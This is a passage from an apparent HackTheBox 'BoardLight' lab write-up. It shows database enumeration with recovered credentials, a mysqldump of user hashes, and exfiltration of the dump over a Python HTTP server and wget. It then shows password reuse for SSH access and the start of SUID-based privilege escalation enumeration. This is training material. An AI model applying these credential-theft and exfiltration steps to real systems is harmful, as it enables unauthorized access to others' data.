successful.</p><pre><code>www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ mysql -u dolibarrowner -p
&lt;rm.board.htb/htdocs/conf$ mysql -u doli&lt;redacted&gt; -p
Enter password: &lt;REDACTED&gt;

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 85
Server version: 8.0.36-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql&gt;</code></pre><pre><code>mysql&gt; show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| dolibarr           |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

mysql&gt; use dolibarr;
use dolibarr;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql&gt; show tables;
show tables;
+-------------------------------------------------------------+
| Tables_in_dolibarr                                          |
+-------------------------------------------------------------+
| llx_accounting_account                                      |
| llx_accounting_bookkeeping                                  |
| llx_accounting_bookkeeping_tmp                              |
| llx_accounting_fiscalyear                                   |
| llx_accounting_groups_account                               |
| llx_accounting_journal                                      |
| llx_accounting_system                                       |
| llx_actioncomm                                              |
| llx_actioncomm_extrafields                                  |
| llx_actioncomm_reminder                                     |
| llx_actioncomm_resources        
&lt;SNIP&gt;</code></pre><p>Looking through the table names, the table &#8220;<strong>llx_user&#8221; </strong>appears interesting.</p><p>Selecting all from this table reveals some hashes</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bf9R!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bf9R!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 424w, https://substackcdn.com/image/fetch/$s_!bf9R!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 848w, https://substackcdn.com/image/fetch/$s_!bf9R!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 1272w, https://substackcdn.com/image/fetch/$s_!bf9R!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bf9R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png" width="1207" height="809" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:809,&quot;width&quot;:1207,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:178289,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bf9R!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 424w, https://substackcdn.com/image/fetch/$s_!bf9R!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 848w, https://substackcdn.com/image/fetch/$s_!bf9R!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 1272w, https://substackcdn.com/image/fetch/$s_!bf9R!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F33bdb3ee-779f-4e1d-a290-3f10c988dfab_1207x809.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>After a few attempts, the table was dumped with <strong>mysqldump, </strong>using the following syntax:</p><pre><code>mysqldump -u username -p -v database-name table-name &gt; where-to-dump.sql</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nnpl!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nnpl!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 424w, https://substackcdn.com/image/fetch/$s_!nnpl!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 848w, https://substackcdn.com/image/fetch/$s_!nnpl!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 1272w, https://substackcdn.com/image/fetch/$s_!nnpl!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nnpl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png" width="1122" height="293" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:293,&quot;width&quot;:1122,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:89446,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nnpl!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 424w, https://substackcdn.com/image/fetch/$s_!nnpl!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 848w, https://substackcdn.com/image/fetch/$s_!nnpl!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 1272w, https://substackcdn.com/image/fetch/$s_!nnpl!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F632ec80a-449c-4901-8b89-5f0ce8059026_1122x293.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The file is served from the compromised target and retrieved on the attack machine.</p><pre><code>www-data@boardlight:~/html/crm.board.htb/htdocs/conf$ python3 -m http.server 8000
&lt;.board.htb/htdocs/conf$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.14.4 - - [07/Jun/2024 06:00:34] "GET /dump.sql HTTP/1.1" 200 -</code></pre><pre><code>&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/boardlight/credentials]
&#9492;&#9472;$ wget http://10.129.2.235:8000/dump.sql

--2024-06-07 09:00:34--  http://10.129.2.235:8000/dump.sql
Connecting to 10.129.2.235:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6132 (6.0K) [application/x-sql]
Saving to: &#8216;dump.sql&#8217;

dump.sql                              100%[======================================================================&gt;]   5.99K  --.-KB/s    in 0s

2024-06-07 09:00:35 (163 MB/s) - &#8216;dump.sql&#8217; saved [6132/6132]
</code></pre><p>Two hashes are extracted from the dump and added to a new file, ready for cracking but unsuccessful.</p><p>Looking at the /home directory, there is one user named <strong>Larissa.</strong></p><p>Trying the password found in the <strong>conf.php file is successful in logging in as Larissa on SSH</strong> and finding the first flag.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IJMK!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IJMK!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 424w, https://substackcdn.com/image/fetch/$s_!IJMK!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 848w, https://substackcdn.com/image/fetch/$s_!IJMK!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 1272w, https://substackcdn.com/image/fetch/$s_!IJMK!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IJMK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png" width="711" height="301" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:301,&quot;width&quot;:711,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:59727,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IJMK!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 424w, https://substackcdn.com/image/fetch/$s_!IJMK!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 848w, https://substackcdn.com/image/fetch/$s_!IJMK!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 1272w, https://substackcdn.com/image/fetch/$s_!IJMK!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe2d71fb1-fc69-42ad-8940-109877f6e7a9_711x301.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Priviliege escalation</h1><h2>Enumeration</h2><p>Checking for sudo privileges does not lead anywhere.</p><pre><code>larissa@boardlight:~$ sudo -l

[sudo] password for larissa:
Sorry, user larissa may not run sudo on localhost.</code></pre><p>Linpeas is copied to the target and executed for further enumeration.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sZ58!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sZ58!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 424w, https://substackcdn.com/image/fetch/$s_!sZ58!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 848w, https://substackcdn.com/image/fetch/$s_!sZ58!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 1272w, https://substackcdn.com/image/fetch/$s_!sZ58!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sZ58!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png" width="739" height="664" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:664,&quot;width&quot;:739,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:52514,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sZ58!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 424w, https://substackcdn.com/image/fetch/$s_!sZ58!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 848w, https://substackcdn.com/image/fetch/$s_!sZ58!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 1272w, https://substackcdn.com/image/fetch/$s_!sZ58!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F863b6ec4-cf2d-4328-8d2c-454fc692d6f9_739x664.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Files with an unknown SUID binary are identified.<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-1" href="#footnote-1" target="_self">1</a></p><div class="pullquote"><p>A SUID binary is an executable file with the SUID permission bit set. When a user executes this binary, it runs with the permissions of the file's owner (often root) rather than the permissions of the user running it.</p></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wWnu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wWnu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 424w, https://substackcdn.com/image/fetch/$s_!wWnu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 848w, https://substackcdn.com/image/fetch/$s_!wWnu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 1272w, https://substackcdn.com/image/fetch/$s_!wWnu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wWnu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png" width="1162" height="331" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:331,&quot;width&quot;:1162,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:147586,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wWnu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 424w, https://substackcdn.com/image/fetch/$s_!wWnu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 848w, https://substackcdn.com/image/fetch/$s_!wWnu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 1272w, https://substackcdn.com/image/fetch/$s_!wWnu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6dba712-3c21-4140-989f-684efbd8c47a_1162x331.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Searching <strong>searchsploit</strong> finds a potential exploit.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BWGq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BWGq!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Faf614b7c-f8de-47e4-a2bd-8bf51d2f8a2b_1150x331.png 424w, 